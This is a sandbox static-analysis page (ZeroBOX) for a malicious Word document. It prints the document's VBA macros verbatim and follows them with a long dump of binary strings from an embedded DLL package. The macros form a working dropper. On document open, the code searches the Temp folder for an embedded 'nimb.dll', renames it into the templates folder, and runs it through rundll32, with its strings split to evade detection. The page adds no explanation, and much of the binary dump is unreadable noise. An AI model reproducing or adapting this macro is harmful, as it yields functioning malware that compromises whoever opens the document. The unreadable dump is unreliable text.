popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
  Private Declare PtrSafe Function gc Lib "shell32" _
        Alias "ShellExecuteA" (ByVal hwnd As Long, _
        ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, _
        ByVal nShowCmd As Long) As Long
        Dim hdv As String
Private Sub Document_Open()
Dim vcbc As String
Dim bbbb As String
Dim cx
cx = wdUserTemplatesPath
bbbb = "r"
vcbc = Options.DefaultFilePath(cx)
bbbb = bbbb & "u" & "n" & "dl"
If Dir(vcbc & "\niberius.dll") = "" Then
Call yyy

If Len(hdv) > 2 Then

Call nam(hdv)




 Dim cvzz As String
cvzz = "l3" & "2"


  gc 0, vbNullString, _
    bbbb & cvzz, vcbc & "\niberius.dll,PUGXLMMFCEB", _
     vbNullString, 1
End If
End If
End Sub





Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub


Sub yyy()
  Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.TypeBackspace
    Selection.Copy
    Call bvxfcsd
End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
  Private Declare PtrSafe Function gc Lib "shell32" _
        Alias "ShellExecuteA" (ByVal hwnd As Long, _
        ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, _
        ByVal nShowCmd As Long) As Long
        Dim hdv As String
Private Sub Document_Open()
Dim vcbc As String
Dim bbbb As String
Dim cx
cx = wdUserTemplatesPath
bbbb = "r"
vcbc = Options.DefaultFilePath(cx)
bbbb = bbbb & "undl"
If Dir(vcbc & "\niberius.dll") = "" Then
Call yyy

If Len(hdv) > 2 Then

Call nam(hdv)




 Dim cvzz As String
cvzz = "l32"


  gc 0, vbNullString, _
    bbbb & cvzz, vcbc & "\niberius.dll,PUGXLMMFCEB", _
     vbNullString, 1
End If
End If
End Sub





Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub


Sub yyy()
  Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.TypeBackspace
    Selection.Copy
    Call bvxfcsd
End Sub

Original

                                        Attribute VB_Name = "Module1"
Dim pls As String


Sub ousx()
Call uoia(Options.DefaultFilePath(wdUserTemplatesPath))
End Sub




Sub nam(pafs As String)
Call ousx
Dim oxl
oxl = "\" & "niberius" & ".dll"
Name pafs As pls & oxl
End Sub


Sub uoia(fffs As String)
pls = fffs
End Sub
 
 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

  
   For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc
Dim Ters As Object
   For Each Ters In mds.Files
   
   If Ters.Name = "nimb.dll" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module1"
Dim pls As String


Sub ousx()
Call uoia(Options.DefaultFilePath(wdUserTemplatesPath))
End Sub




Sub nam(pafs As String)
Call ousx
Dim oxl
oxl = "\niberius.dll"
Name pafs As pls & oxl
End Sub


Sub uoia(fffs As String)
pls = fffs
End Sub
 
 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

  
   For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc
Dim Ters As Object
   For Each Ters In mds.Files
   
   If Ters.Name = "nimb.dll" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub

Original

                                        Attribute VB_Name = "Module2"

Deobfuscated

                                        Attribute VB_Name = "Module2"

Original

                                        Attribute VB_Name = "Module3"
Dim dfbvc As String
Sub bvxfcsd()

Call asda

Dim ewrwsdf As String
ewrwsdf = "L" & "o" & "c" & dfbvc & "mp"



    ntgs = 50
sda = 49


While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(Options.DefaultFilePath(wdUserTemplatesPath), ntgs) & ewrwsdf, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(Options.DefaultFilePath(wdUserTemplatesPath), ntgs) & ewrwsdf)
End Sub


Sub asda()

dfbvc = "al" & "\Te"
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module3"
Dim dfbvc As String
Sub bvxfcsd()

Call asda

Dim ewrwsdf As String
ewrwsdf = "Loc" & dfbvc & "mp"



    ntgs = 50
sda = 49


While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(Options.DefaultFilePath(wdUserTemplatesPath), ntgs) & ewrwsdf, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(Options.DefaultFilePath(wdUserTemplatesPath), ntgs) & ewrwsdf)
End Sub


Sub asda()

dfbvc = "al\Te"
End Sub
EMBED Package
IDATx^
Ar51"(
o01`ZZ!
j>t`lu
D+qlY*
|ttT=N
^`O<@\\
1sGN4_
Swfcuh
{6n.lM
2_1>=.s
3GY(Kx
}ay==_
wFB_/-
z4I9<NO
|}}M|v
n+_\3?
f>A9-~
x,:0UO
Byi6wl
69G`Gr
[T}Yms
Y>2G}R
+^{=YL}]
uHmv0c
PO%l1S
o{%d76
IaT'fG[
=*q}iq
tX(aJ~
h^GUw;S\
h(ugJa
L[Yl|X
sM<[J^
NNlm0s
%#*%u
H5{Yk?Ay
<~sb}
P-Q6wc
u7u-Z3
K|#R!/
shSE=L
5wowZ'
u}Vu05R7z
:/_6Wx
:O)/Bi
-P^'V
e*}[v]
av-nt/
0>D4ou3
9TVT,;z
fK~F~]
#Sq(?P
GOw{6
Ym$H;t
y&m7#T
}(SW@
do_i7C-
#+kWe
f[kvx"
kP4nf=
_~8"N>
Ry)-DR
FxZW2*
/wq!`+
UlL(&b
bc"&fF
. 2,K?/~
7z$O'~
Ks9)3B
uhrCPk
'eJy8^
zrSDeP
^ka+qI
!?c?=m
IOmnZSmW;
kKDF^7
9$H"=v
QfQ~P
f_zTHnm
|)Pf /
W!^n>f]9
W.F~6(^
:ECx}B
+N`*_o
${u<q{r
%lFy[:
IV_{io
IY$v\&*Y
]dC'aq
3nwM1i
9rzUnl
!q +@T
u#e]t@
0^i:o)
v(wQPQF
?4aR42
H_!>,g
c,ye">
V>W0N
+BDsZ?E
S[F?P^J
^&r=|b
5Ks_YE
<dHseP'
8D~6k~
dCQHa
)b/AnO#
(iR=P,r
;LA<*]
;WOnz}z;]
vg,syb
7emM@n
n_cbLz
*VG7yE
A~~H0n
+nx'MG
$GD5S
+tY[Fc[
;v%$tI
:Tyr7;
^fQ~^
4IJ>l
o5kvUtz
W._v%e
:'mO<>!
5ZU?il_
ES|#bl
jl6%]zW
}}]u;ogP~
!Ky8d|
C&J=O[
L:LMM>N
'k`,o0
Sx[r;?o
is(!5n
0%PP9
A{O}A{eNh
UmbdW4
I@:6|t
)p0=zf~
xj^Eqa
-dM@Cw
jKgmcK+e
cY6!#C<W
@x|q&w
wZXZV]
cbsFX:
inO<?h
#ZV5n,
6glP0|
P6BjK~
MkVdD'_
U=PlKb
sj|_s@EfN
lhY|`p
|XZ^v\
~WcB{_aj
dTDGuj
|jfJ"N
W+wP4kC<
M@(|:,
9H#<9L
}(U2JN
Yu,n6#
%>WO9c[
\ISaS>g
NY.c)^=
l?1O=J
F1v2;A
Li:L<I
IDAT0WT
"/|X_
tm{[rF
C:N#F<ql
4A*/*
NFnn9O9
k\SV|S
>-B2;s
-O7]6O
H'<L(+
6Q@1ut
[o9_hg
G`L<\/J<
M?<=PY
k@L{<-1
tyx|\'N
R6n&P 
?B6i'xH
YZYliF
S~?s,
W{Y@re
N~RP~@
.I'WN~
7*SAic
>@ea!?
5By<kFW
f3)<)7
Ev:QH?!
28*Jq's
P8p"+]
PcsK\l
x)+N QO
U?5I8rGX
:A_(`0
a~BJm6P9
>`dSoL
$YciB
tr&E![
c9'v0Z
|'eslz
SG%W/c
A(2cHq
n\sdqL
'J#G[rV
UN[y\S
LF3a.{}
m=ZVv1
vt^zB]
+XH9rm
7g~{o`
cKg3z
\[XW{A
b3x7?X
X0.?2;a
{g}~h2
'kOk+:
c\~dvf8
tIG%;^_y
r"&g"
838>8%
Hd^]W{
]W^|!x
x}j6,o
Y82?17
N:ibC,>
gBo?#8
z.'bt<
FW_j_6
mIsD)O
5y6J@~
zSO>Z@|'
Z=ryp<
nTV?8L
zpq0p>
*@;s${
ymn{9t
b61)ElM
+>R'nz
%w+697o
``X6O6
v+'Z0a[P;qy"
piOWC:e
XcOB~x&
QVY~16:P
rXINQ
'-_ZP^
pBJl#isz
k/kgPk
>@]GIK
/]Qgr#
nw[Ao/
_'V"6t
s_2Gqp
}g:xL~
`>T^!0
!=z`>bvU:
od'OA
n-lf5l
eex:T=
7^,,|p
en$c<W=
5n$W_z9
m3bab
YQv*6k
sXIyZr!
Q=1Zn\
/6$_}|
6+d@K(
rl J6e~
*]ecP&?C\
4;/G ^
s.5gZOh
]Mv~Qr
:VWWWW
:xhs\;{$
:(G>m)>
:r82on
d*#*eK9hA
e9Z("3
4:*3jJ#
@_$t|
_O;9_h
V8|]sdE
9z*SyUv
4|q%+z:
'B&D;g
R7G~}+
'eq&X~
9F(|bW
0LzusG
fB^>t
(FwL-[Nv
}D.#
0b1|Q`
qzPaKq
f58>w"e!
ED8!o2&
7xvs(A
2O[R6e[
R>Rb^H
Yx?z<
$JL~.<
/(:T<_]
n|n7z
JOVwf{
Go[2x-
sm[\Sh)
ow,"-&
QeT$^1~
5HbnN
qYcXjg
`=X;~ex
#+^]UV
(Rp1iXt
Z8g9C}E/
Jr@-Q<
}(='-e
j!0 !$
Kw<dH.
X5pMX;
EJxN@&
Yr1Bh'
KEvPR-
"9)x'!|;
]-.b\j#9
EG%~C;
gtH}B|
>wM!pv
EO}]mI
h^mw/NX
gd+wvk
1*"<x=|V
1<(O5~
&(^7>K
r9`|vr
mpf|d,
<%o\[Dvcr
;xgfj{;
9@a1)zm
?Lre$d
r`LOn2~5X
@c=7$
=h;lKk
O6Cgo}
#m{X%-
ChQXOU
$q{WC2
}7yLl|T
.[E7S?
c7ZT'=
7\W)[
<p8]O6k
65nxm^
=kGQp$>*
:B:Zh9
1({z$hO
Id:x t
u/'A|T
r5ns}.
?7rdBt@N
r9fjC
vPp]6]
F\(;Q2
[9f:<`L
@_y2+2
&Tb,<}
*.~5Y1
1y sMR
$~Aaj&
Wscs^'
wV7\~S*
};I7oW
o3V%w
5N$M(k
a{sk8v
=u*,T
LVpVTP]W
9Sd8^=
_ZZ~Iq
OI}W*O/
&4u_(~
.#.?e.=
~f|}Q:
0x49R'id
,6azLy
a\q2v@
%Qehq\$
T-IKO/
mLiekst
rU>;d[
fw[}X(
J7yB.Cn
K.2psS4
+<tBA;
!*7e9
zeX;rh8
}Oj]:t
amR]k
JGeCn*[\
E~ViP)
bQW'G|
F^:{6y
*'i:S8
B\v1X
J;/20
>\KS.?
ovA_^
xZ@ZXZd+_}G
>':ckdWjg
JNC,g`0
j`R9`R
{+|EA}
6J[6q>,
HkW\zy,:c
:kl"K|
U>9G(oR
=t91=3'
c;`Q,T<
1+V.ok
<Qz6N:viq,
[d"M:>
KcMyB\
bk2GG9
vkQn?3
NZeU<Pf
px]Pm%
HG~@Z;
W2U^/;
FO>qkO81
K/kW^vy
C_:vou
N{h1TP|
D:uQgv
G,Zt_[
K|Y)&0
e/sgE<
i:*G~6
OoW]{M.`-
9_|7V3
jW]qe{
1vO7tA
~mc@+M
3wLq Y
kW^~E
E9xtoP
GyU.;|
o!f1`lqmg
q^~85
^/%srT'4
kE~1}A
Kcr{Q;
B|fzej
N<9tlM
z]U;r~
l0|6L[r
(=1gbK
@!=c8a
G6&rv^
]|,P<T
fy0\ w
zM?sVy
+y6d(;
:.-63J
%guWq
tYc0|>
Py;wlkS&11
TeZ.C8TV30)
rU/c~9
(d(J)-
s|)O>sq
f=#=yy^i
PyvYyES9H
:hNVc @
2&5ap_
@*Nt.y
fb8D0~?
0~xmQQ
.lW_{M.4
3gqo^8
dMlNe}k
'>qzn.
'nl+cpSWg
dTmCvt
0yfwggvg
)`Vu~)d
w;;|o
C^6u?~
x$2G'>p
#xFWF
O=U?xP
,XL2LF,B
3t3t$tA
|NTQ.y
rQ?S{{?+
PA8eM[
maZWI
@<<-[W
at)+~`
C:VAJoU
Ii@z-@K
DPEC|a
`FI0e
C:@y\Sw
g_NxJ[
U\yoK
m#=77k:
L7>nz,
&"V+~19r
N?C*3A
x*u#mZo
+ iDGv
,OP8 m
3'@NMN
yS9Qn
wph0*<
".M#C[
y:i&<V
7r>to3
~ M{oU]
-}Lccg
4UyR4D7
UE#E:oU
|leNksJ
#nB@YV
ck0s%<
*FOHeU
MuC~pP7jW#
;9i}t:NV
{OkNuU^
4*gtt,
uH7XUeH^
1^AD}X
#^NalzH
=xG^8x
PS(LQ
O./hTA
Se(y`q
~vi\8u
>%:@FPN6F
)|Qn=b
Sanf:,Yx|q:
JKY@e@
$]S6tHC]
s(G(F\
=.)C4R?
<z2qj*
M/`CKZ
VR_8~r"
_0pR7x
mb_d!4
?P.2'-
Y`(d/H
nD<WP
q:ndp$,
M5|p-]
#}4x,
LxdL O
~H8:"k
!G9&7qF
od@{0>0
Q`TBW`
S{o&in
.f!NAm
+mDWxT
_M5)RVlW
r7vZ4]
Niq)S<
9s./dl
aK^BypM:~
U"#M,1
VVh7kU
K;UgF/mD
q%]K6
1O]|v
x'<R?T
OW]{m
Uzk
_7dng
|me7wa
G:td1]
4K1kVp
7Rul-9?w
Mo|C:y
n?}*]u
>~%e1H
o3:q
_e|nB[
A]XD[|
]JL1Yv
^?RbXgM
[F9?Uk
Q^Bm^dm
ueFjCLS
\JlE/w
E:P|D]X
I?]GM1c
r;gL y!
tgj#]\
`LOOe#!<f
MP=M4(o
=z4-wVm
D6[+6_
&?x#?9U
`I`PXD]XW
tAS\L#
oNW^ye
"*u(Bu
1\,,.z
C[h'a\g
7:AJzd@Z
H'u5_4
IgL>28
w6hR}(Y
|qM8y9a
h+m&/}
JP?8Ye
h._2S]
fcL{-cw
xNcq2L
Q?yHG;
YG.&,7
#S''1e
K:xe,P6m
F7h#FA
hNZ*NsO
&Y\<aLT
2yrm\;
+cvv&]
S+Nl).
lBpIY{2a
%O_]ot
sR6nc]
:!hds
Hy ]_m
M(qlH91'
IK}RG\
.-Yovb
;M?+4fb
2hON_a
Z00!A~
,EF;C.M$
>l|G&W
kx0(P^
.FjNYb
!Mdi"X_K
r^KPYA,+
Zt(>wmie
:U["O
NztA&yP
8|STc3
}P}A\C
A\~@`,
Yu,!/kI
0CuBY#)|
4Bl[j=K
q]kyuP^
vN4=jY
i.`>MO5l
4`,]VG
#n7P*
Erk>AF<
1W-,-V
0`?P6*
7-uaR\
f"}9%]
6LF# {
"hk:CvJ+G
TD3]gl
s$2??V
L<?rM"
!o/&'#
@|dQwa~%.
xJiJa
5]O*>)
.V+W.W#
0%sO>~<
rv;#a<2
n n\Ec
K_G^gN
F]&?GW~
rn5zFL
>XBGWo
%pSFNz!pn
h}2NZ1N
KUxJ1b
B.[qrA
q n*b|
"b8'dN
%cz]wQr
kz'ats
)*Vm0+b
Ms}cfC
~](WB9=
)mtZ 3B
@FuaR
yk1Nxl3
,LB_^l
< .Db>
@du-wq>
%SD}Nk
#a<}n8!mLO
bz4R6x
`R]E>!
KnHT#j
mPc<F?@
[X$A~x"
O`k\jo
ov<?\
r*Eu%W
1("]nXP
32"E(>"
<0pwU
xxn2C!
~R0'ac
2kw[bZ
y\g;^Cg.z
QO|ehg
M/?=A`
6O6H.
MhvG_CH|
nT|BgX
\.lv-Wm
B|L`}
7:26hK
,hi+(,
!e`\sj-
kE?5-;!^:
;a>1H?
29lO`[
6?5LoN
4.Jq776
{1CG<u
[~ps!
7o>ZS
_g\0E_
3ufK<s
OLE Package
Package
Mr.Administrator
Normal.dotm
nimb.dll
C:\Users\MyPc\Desktop\Builder_v667\nimb.dll
C:\Users\MyPc\AppData\Local\Temp\nimb.dll
This program must be run under Win32
.idata
.reloc
P.rsrc
Boolean
Smallint
Integer
Cardinal
Double
Currency
String
WideString
Variant
TObjectP
TObjectD
System
IInterface
System
TInterfacedObject
TBoundArray
Systemx
TDateTime
YZ]_^[
YZ]_^[
_^[YY]
YZ]_^[
C<"u1S
Q<"u8S
~KxI[)
SOFTWARE\Borland\Delphi\RTL
FPUMaskValue
_^[YY]
YZXtm1
ZTUWVSPRTj
tVSVWU
kernel32.dll
GetLongPathNameA
Software\Borland\Locales
Software\Borland\Delphi\Locales
_^[YY]
odSelected
odGrayed
odDisabled
odChecked
odFocused
odDefault
odHotLight
odInactive
odNoAccel
odNoFocusRect
odReserved1
odReserved2
odComboBoxEdit
Windows
TOwnerDrawState
Magellan MSWHEEL
MouseZ
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
ExceptionXt@
EHeapException
EOutOfMemory
EInOutErrorhu@
EExternal
EExternalException
EIntError
EDivByZero
ERangeError(w@
EIntOverflow
EMathError
EInvalidOp
EZeroDivide
EOverflow
EUnderflow
EInvalidPointer
EInvalidCast
EConvertError
EAccessViolation
EPrivilege
EStackOverflow
EControlC
EVariantError
EAssertionFailed
EAbstractError
EIntfCastError
EOSError
ESafecallException
SysUtils
SysUtils
TThreadLocalCounter
$TMultiReadExclusiveWriteSynchronizer
<*t"<0r=<9w9i
INFNAN
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
_^[YY]
_^[YY]
$YZ_^[
t%HtIHtm
_^[YY]
$Z]_^[
QQQQQQSVW3
QQQQQSVW
_^[YY]
TErrorRec
TExceptRec
YZ]_^[
m/d/yy
mmmm d, yyyy
:mm:ss
kernel32.dll
GetDiskFreeSpaceExA
(Z]_^[
oleaut32.dll
VariantChangeTypeEx
VarNeg
VarNot
VarAdd
VarSub
VarMul
VarDiv
VarIdiv
VarMod
VarAnd
VarXor
VarCmp
VarI4FromStr
VarR4FromStr
VarR8FromStr
VarDateFromStr
VarCyFromStr
VarBoolFromStr
VarBstrFromCy
VarBstrFromDate
VarBstrFromBool
TCustomVariantType
TCustomVariantType@
Variants
TVarDataArray
Variants
TInvokeableVariantType
EVariantInvalidOpError
EVariantTypeCastError
EVariantOverflowError
EVariantInvalidArgError
EVariantBadVarTypeErrort
EVariantBadIndexError
EVariantArrayLockedError
EVariantArrayCreateError
EVariantNotImplError
EVariantOutOfMemoryError
EVariantUnexpectedError
EVariantDispatchError
_^[YY]
QQQQSV
Smallint
Integer
Single
Double
Currency
OleStr
Dispatch
Boolean
Variant
Unknown
Decimal
ShortInt
LongWord
String
Array
ByRef
$YZ]_^[
Variants
_^[YY]
TStringDesc
Variants
TPublishableVariantType
EPropertyError
EPropertyConvertError
_^[YY]
tagEXCEPINFO
TBiDiMode
bdLeftToRight
bdRightToLeft
bdRightToLeftNoAlign
bdRightToLeftReadingOnly
Classes
ssShift
ssCtrl
ssLeft
ssRight
ssMiddle
ssDouble
Classes
TShiftState
THelpContext
THelpType
htKeyword
htContext
ClassesXsA
TShortCut
TNotifyEvent
Sender
TObject
EStreamError
EFileStreamError
EFCreateError
EFOpenErrorTuA
EFilerError
EReadError
EWriteError\vA
EClassNotFound
EResNotFound
EListError
EBitsError
EStringListError
EComponentError
EOutOfResources
EInvalidOperation
TThreadList
TPersistent
TPersistentLzA
Classes
TInterfacedPersistentx{A
TInterfacedPersistent<{A
Classes
IStringsAdapterl
Classes
TStrings
TStrings(|A
Classes
TStringItem
TStringList
TStringListX}A
Classes
TStream
THandleStream
TFileStream
TCustomMemoryStreamH
TMemoryStream
TResourceStream
TStreamAdapter
TClassFinder
TFiler
TReader
EThread4
TComponentNameH
IDesignerNotifyl
Classes
TComponent
TComponentp
Classes
TBasicActionLink
TBasicAction
TBasicActionP
Classes
TIdentMapEntry
TRegGroup
TRegGroups
YZ]_^[
$Z]_^[
$Z]_^[
_^[YY]
TIntConst
_^[YY]
Strings
S$_^[Y]
_^[YY]
SdZ]_^[
$Z]_^[
TPropFixup
TPropIntfFixup
_^[YY]
_^[YY]
Classes
_^[YY]
_^[YY]
QQQQQQQS
R0_^[]
_^[YY]
TPUtilWindow
GetMonitorInfoA
GetSystemMetrics
MonitorFromRect
MonitorFromWindow
MonitorFromPoint
GetMonitorInfo
DISPLAY
GetMonitorInfoA
DISPLAY
GetMonitorInfoW
DISPLAY
EnumDisplayMonitors
USER32.DLL
TColor
EInvalidGraphic\
EInvalidGraphicOperation
TFontPitch
fpDefault
fpVariable
fpFixed
Graphics
TFontName
TFontCharset
TFontStyle
fsBold
fsItalic
fsUnderline
fsStrikeOut
Graphics
TFontStyles
TPenStyle
psSolid
psDash
psDashDot
psDashDotDot
psClear
psInsideFrame
Graphics
TPenMode
pmBlack
pmWhite
pmCopy
pmNotCopy
pmMergePenNot
pmMaskPenNot
pmMergeNotPen
pmMaskNotPen
pmMerge
pmNotMerge
pmMask
pmNotMask
pmNotXor
Graphics
TBrushStyle
bsSolid
bsClear
bsHorizontal
bsVertical
bsFDiagonal
bsBDiagonal
bsCross
bsDiagCross
Graphics
TGraphicsObjectd
TGraphicsObject<
Graphics
IChangeNotifierl
Graphics
TFont@
Graphics
Charset
ColorT
Height
PitchT
Graphics
StyleT
TBrush
TBrush
Graphics
Colort
TCanvast
TCanvasP
Graphics
BrushT
CopyMode<
TGraphic
TGraphic
Graphics
TSharedImage
TBitmapImage
TBitmap
TBitmap|
Graphics
TIconImage
Graphics
TResourceManager
_^[YY]
clBlack
clMaroon
clGreen
clOlive
clNavy
clPurple
clTeal
clGray
clSilver
clLime
clYellow
clBlue
clFuchsia
clAqua
clWhite
clMoneyGreen
clSkyBlue
clCream
clMedGray
clActiveBorder
clActiveCaption
clAppWorkSpace
clBackground
clBtnFace
clBtnHighlight
clBtnShadow
clBtnText
clCaptionText
clDefault
clGradientActiveCaption
clGradientInactiveCaption
clGrayText
clHighlight
clHighlightText
clHotLight
clInactiveBorder
clInactiveCaption
clInactiveCaptionText
clInfoBk
clInfoText
clMenu
clMenuBar
clMenuHighlight
clMenuText
clNone
clScrollBar
cl3DDkShadow
cl3DLight
clWindow
clWindowFrame
clWindowText
ANSI_CHARSET
DEFAULT_CHARSET
SYMBOL_CHARSET
MAC_CHARSET
SHIFTJIS_CHARSET
HANGEUL_CHARSET
JOHAB_CHARSET
GB2312_CHARSET
CHINESEBIG5_CHARSET
GREEK_CHARSET
TURKISH_CHARSET
HEBREW_CHARSET
ARABIC_CHARSET
BALTIC_CHARSET
RUSSIAN_CHARSET
THAI_CHARSET
EASTEUROPE_CHARSET
OEM_CHARSET
Default
E$PVSj
_^[YY]
C ;C$s
TBitmapCanvas
TBitmapCanvas
Graphics
_^[YY]
s(;~ t8
C(_^[Y]
TPatternManagerSV
_^[YY]
TObjectList
TOrderedList
TStack
IHelpSelectorl
HelpIntfs
IHelpSysteml
HelpIntfs
ICustomHelpViewerl
HelpIntfs
IExtendedHelpViewer
HelpIntfs
ISpecialWinHelpViewer
HelpIntfs
IHelpManagerl
HelpIntfs
EHelpSystemException
THelpViewerNode
THelpManager
comctl32.dll
InitializeFlatSB
UninitializeFlatSB
FlatSB_GetScrollProp
FlatSB_SetScrollProp
FlatSB_EnableScrollBar
FlatSB_ShowScrollBar
FlatSB_GetScrollRange
FlatSB_GetScrollInfo
FlatSB_GetScrollPos
FlatSB_SetScrollPos
FlatSB_SetScrollInfo
FlatSB_SetScrollRange
TSynchroObject
TCriticalSection
uxtheme.dll
OpenThemeData
CloseThemeData
DrawThemeBackground
DrawThemeText
GetThemeBackgroundContentRect
GetThemePartSize
GetThemeTextExtent
GetThemeTextMetrics
GetThemeBackgroundRegion
HitTestThemeBackground
DrawThemeEdge
DrawThemeIcon
IsThemePartDefined
IsThemeBackgroundPartiallyTransparent
GetThemeColor
GetThemeMetric
GetThemeString
GetThemeBool
GetThemeInt
GetThemeEnumValue
GetThemePosition
GetThemeFont
GetThemeRect
GetThemeMargins
GetThemeIntList
GetThemePropertyOrigin
SetWindowTheme
GetThemeFilename
GetThemeSysColor
GetThemeSysColorBrush
GetThemeSysBool
GetThemeSysSize
GetThemeSysFont
GetThemeSysString
GetThemeSysInt
IsThemeActive
IsAppThemed
GetWindowTheme
EnableThemeDialogTexture
IsThemeDialogTextureEnabled
GetThemeAppProperties
SetThemeAppProperties
GetCurrentThemeName
GetThemeDocumentationProperty
DrawThemeParentBackground
EnableTheming
TCommonDialog
TCommonDialog
Dialogs
HelpContextlsA
OnCloselsA
OnShowSV
Cancel
Ignore
NoToAll
YesToAll
commdlg_help
commdlg_FindReplace
WndProcPtr%.8X%.8X
TTimer
TTimer
ExtCtrls
Enabled
IntervallsA
OnTimerSV
Delphi Picture
Delphi Component
MAPI32.DLL
TConversion`
TConversionFormat
comctl32.dll
TThemeServices
Theme manager
2001, 2002 Mike Lischke
 !"#$%
THintActionp
THintAction
StdActns
TWinHelpViewer
_^[YY]
_^[YY]
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
JumpID("","%s")
_^[YY]
MS_WINHELP
#32770
TContainedAction
TContainedAction
ActnList
Category
TCustomActionList
TCustomActionList
ActnList
TShortCutList
TShortCutList
ActnList
TCustomAction
TCustomAction
ActnList
TActionLinkSV
u*;~8u
R0Z_^[
$:Cjt_
R0Z_^[
R0]_^[
$;Ctt?
R0Z_^[
R0Z_^[
R0Z_^[
R0Z_^[
R0]_^[
$Z]_^[
TScrollBarInc
TScrollBarStyle
ssRegular
ssFlat
ssHotTrack
TControlScrollBar
TControlScrollBar
ButtonSize
Increment
Margin
ParentColorT
PositionT
SmoothT
StyleT
ThumbSize
Tracking
Visible
TWindowState
wsNormal
wsMinimized
wsMaximized
TScrollingWinControl
TScrollingWinControl$
HorzScrollBar
VertScrollBar
TFormBorderStyle
bsNone
bsSingle
bsSizeable
bsDialog
bsToolWindow
bsSizeToolWin
IDesignerHookD
IOleForml
TFormStyle
fsNormal
fsMDIChild
fsMDIForm
fsStayOnTop
TBorderIcon
biSystemMenu
biMinimize
biMaximize
biHelp
TBorderIcons
TPosition
poDesigned
poDefault
poDefaultPosOnly
poDefaultSizeOnly
poScreenCenter
poDesktopCenter
poMainFormCenter
poOwnerFormCenter
TDefaultMonitor
dmDesktop
dmPrimary
dmMainForm
dmActiveForm
Forms(
TPrintScale
poNone
poProportional
poPrintToFit
TCloseAction
caNone
caHide
caFree
caMinimize
TCloseEvent
Sender
TObject
Action
TCloseAction
TCloseQueryEvent
Sender
TObject
CanClose
Boolean
TShortCutEvent
TWMKey
Handled
Boolean
THelpEvent
Command
Integer
CallHelp
Boolean
Boolean
TCustomForm
TCustomForm
TForm$
FormsU
Action4gD
ActiveControl
AlphaBlendl
AlphaBlendValue
Anchors
AutoScroll
AutoSize$rA
BiDiMode
BorderIcons
BorderStyle0cD
BorderWidth8UD
CaptionT
ClientHeightT
ClientWidth
TransparentColor
TransparentColorValue8VD
Constraints
UseDockManager
DefaultMonitor
DockSite
DragKind|TD
DragMode
Enabled
ParentFont<
FormStyleT
Height
HelpFile
HorzScrollBar, B
KeyPreviewd
OldCreateOrder
ObjectMenuItem
ParentBiDiModeT
PixelsPerInchP
PopupMenu4
Position$
PrintScale
Scaled
ScreenSnap
ShowHintT
SnapBuffer
VertScrollBar
VisibleT
WindowState
WindowMenulsA
OnActivate
OnCanResizelsA
OnClick
OnClose
OnCloseQueryH\D
OnConstrainedResize
OnContextPopuplsA
OnCreatelsA
OnDblClicklsA
OnDestroylsA
OnDeactivate
OnDockDrop
OnDockOver
OnDragDropXXD
OnDragOver@YD
OnEndDockL[D
OnGetSiteInfolsA
OnHidex
OnHelp
OnKeyDown
OnKeyPress
OnKeyUp
OnMouseDownlWD
OnMouseMove
OnMouseUp
OnMouseWheel`]D
OnMouseWheelDown`]D
OnMouseWheelUplsA
OnPaintlsA
OnResize<
OnShortCutlsA
OnShow
OnStartDock
OnUnDock
TCustomDockForm
TCustomDockForm
PixelsPerInch
TMonitor
TScreen
TScreen
THintInfo@
TApplication
TApplication
PixelsPerInch
TextHeight
IgnoreFontProperty
MDICLIENT
_^[YY]
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
layout text
TApplication2
MAINICON
;B0uWj
vcltest3.dll
RegisterAutomation
